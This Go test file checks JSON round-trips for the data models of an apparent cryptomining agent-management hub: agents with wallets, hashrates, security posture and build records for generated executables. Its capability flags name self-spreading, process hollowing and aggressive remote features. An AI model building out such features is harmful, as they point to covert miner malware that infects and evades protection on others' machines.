Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
171 lines
4.7 KiB
Go
171 lines
4.7 KiB
Go
package models
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
"time"
|
|
)
|
|
|
|
func roundTripJSON(t *testing.T, v any) {
|
|
t.Helper()
|
|
b, err := json.Marshal(v)
|
|
if err != nil {
|
|
t.Fatalf("marshal: %v", err)
|
|
}
|
|
ptr := newSameType(v)
|
|
if err := json.Unmarshal(b, ptr); err != nil {
|
|
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
|
}
|
|
}
|
|
|
|
func newSameType(v any) any {
|
|
switch v.(type) {
|
|
case Agent:
|
|
return &Agent{}
|
|
case AgentService:
|
|
return &AgentService{}
|
|
case AgentCapabilities:
|
|
return &AgentCapabilities{}
|
|
case Share:
|
|
return &Share{}
|
|
case HashrateSample:
|
|
return &HashrateSample{}
|
|
case Job:
|
|
return &Job{}
|
|
case BuildRecord:
|
|
return &BuildRecord{}
|
|
default:
|
|
panic("unsupported type")
|
|
}
|
|
}
|
|
|
|
func TestAgentJSONRoundTrip(t *testing.T) {
|
|
now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC)
|
|
cpuFreq := 3200
|
|
cpuMax := 4000
|
|
throttle := true
|
|
cpuTemp := 72
|
|
diskFree := 120.5
|
|
diskTotal := 512.0
|
|
diskPct := 23
|
|
gpuTemp := 65
|
|
gpuUsage := 40
|
|
ssh := true
|
|
defender := true
|
|
rtp := false
|
|
fwDomain := true
|
|
fwPrivate := false
|
|
fwPublic := true
|
|
patchDays := 14
|
|
patch := "2026-05-01"
|
|
pending := 3
|
|
reboot := false
|
|
elevated := true
|
|
|
|
agent := Agent{
|
|
ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5",
|
|
Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16,
|
|
LastSeen: now, CreatedAt: now.Add(-time.Hour),
|
|
Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150,
|
|
SharesTotal: 100, SharesGood: 98, SharesBad: 2,
|
|
CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600,
|
|
Notes: "lab node", Tags: []string{"gpu", "windows"},
|
|
Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200",
|
|
Capabilities: &AgentCapabilities{
|
|
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
|
AutoSpread: false, ProcessHollowing: false, AIEnabled: true,
|
|
},
|
|
CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle,
|
|
CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal,
|
|
DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage,
|
|
SSHAvailable: &ssh, PostureScore: 80,
|
|
DefenderEnabled: &defender, DefenderRTP: &rtp,
|
|
AVProducts: []string{"Windows Defender"},
|
|
FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic,
|
|
LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending,
|
|
RebootPending: &reboot, AgentElevated: &elevated,
|
|
Services: []AgentService{
|
|
{Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"},
|
|
},
|
|
}
|
|
roundTripJSON(t, agent)
|
|
}
|
|
|
|
func TestAgentServiceJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, AgentService{
|
|
Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual",
|
|
})
|
|
}
|
|
|
|
func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, AgentCapabilities{
|
|
HolePunch: true, RemoteAggressive: true, MeshP2P: true,
|
|
AutoSpread: true, ProcessHollowing: true, AIEnabled: true,
|
|
})
|
|
}
|
|
|
|
func TestShareJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, Share{
|
|
ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000,
|
|
Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(),
|
|
})
|
|
}
|
|
|
|
func TestShareJSONOmitsEmptyError(t *testing.T) {
|
|
s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()}
|
|
b, _ := json.Marshal(s)
|
|
if string(b) != "" && containsField(string(b), "error") {
|
|
// error field should be omitted when empty
|
|
var m map[string]any
|
|
_ = json.Unmarshal(b, &m)
|
|
if _, ok := m["error"]; ok {
|
|
t.Fatal("empty error should be omitted")
|
|
}
|
|
}
|
|
}
|
|
|
|
func containsField(jsonStr, field string) bool {
|
|
var m map[string]any
|
|
if err := json.Unmarshal([]byte(jsonStr), &m); err != nil {
|
|
return false
|
|
}
|
|
_, ok := m[field]
|
|
return ok
|
|
}
|
|
|
|
func TestHashrateSampleJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, HashrateSample{
|
|
ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(),
|
|
})
|
|
}
|
|
|
|
func TestJobJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, Job{
|
|
ID: "job-1", Height: 2800000, Difficulty: 500000,
|
|
BlockTemplate: "template", SeedHash: "seed", Target: "target",
|
|
CreatedAt: time.Now().UTC(),
|
|
})
|
|
}
|
|
|
|
func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
|
roundTripJSON(t, BuildRecord{
|
|
ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x",
|
|
Threads: 4, FileSize: 1024, BundleSize: 2048,
|
|
FilePath: "/data/build.exe", FileName: "build.exe",
|
|
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
|
|
ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}},
|
|
CreatedAt: time.Now().UTC(), Pinned: true,
|
|
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
|
|
})
|
|
}
|
|
|
|
func TestAgentMinimalJSON(t *testing.T) {
|
|
var out Agent
|
|
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if out.ID != "x" || out.Status != "offline" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|